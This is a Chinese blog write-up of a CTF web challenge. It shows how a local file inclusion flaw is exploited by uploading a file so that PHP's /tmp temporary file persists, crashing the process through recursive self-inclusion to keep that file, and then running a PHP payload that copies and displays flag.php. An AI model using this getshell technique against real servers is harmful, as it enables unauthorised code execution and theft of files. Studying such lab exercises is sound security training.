“百度杯”CTF比赛 十二月场 Blog·进阶篇

利用上一篇blog的思路,用admin/19-10-1997得到管理页面

在这里插入图片描述
这里用php伪协议读取是不行的,php://filter已经失效了,这里的文件包含仍然能够执行,这里是我们可以利用的

这里的思路是上传一个shell,用命令执行读取shell,上传点也不好找,这里利用的是一个php文件上传的特性

这里利用了php对POST上传文件临时保存的特性
php对post过来的文件有一个默认处理流程,首先将post过来的文件保存在/tmp文件夹下,
文件名为php{0-9A-Za-z}的随机字符,我们可以把shell写到这个文件里,直接就可以getshell了,下步就是要对php post一个文件

<!DOCTYPE html> 
<html> 
<head lang="en"> 
  <meta charset="UTF-8"> 
  <title>上传文件</title> 
</head> 
<body> 
<form action="http://7a1c213b5897452f87d69f14b68ea3a90ba7365cfd164398.changame.ichunqiu.com/blog_manage/manager.php?module=manage&name=php" method="post" enctype="multipart/form-data"> 
  <input type="file" name="file"/> 
  <input type="submit" value="提交"> 
</form> 
</body> 
</html>

注意这里出现的两个manager.php,这里是防止利用文件包含写shell时生成的文件被删除
根据大佬所说,原理好像是自包含递归爆内存…简单地说,无穷自包含爆栈使其崩溃,从而影响他的文件删除功能

在这里插入图片描述
这里我们上传一个文件
在这里插入图片描述
emmmm,确实崩溃了
在这里插入图片描述
忽略下面几个,那是我之前做的测试,可以看到确实生成了php文件,虽然我们上传的是txt文件,下面访问就好了

在这里插入图片描述
我不太懂的是为什么php后面要加字母,而且任意字母都可以

在这里插入图片描述
发现许多函数都被禁掉了

这里要将flag.php拷贝为一个txt文件,在文件包含这个文件就可以了

<?php
copy("/var/www/html/flag.php","/tmp/flag.txt");
show_source("/tmp/flag.txt");
//注意要用到show_source函数显示源码,否则会被解析,从下面也可以看到,flag的内容是在注释当中的
?>

在这里插入图片描述

参考
https://blog.csdn.net/qq_30123355/article/details/58165038?utm_source=blogxgwz3
发布了32 篇原创文章 · 获赞 0 · 访问量 1332

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/104602695
今日推荐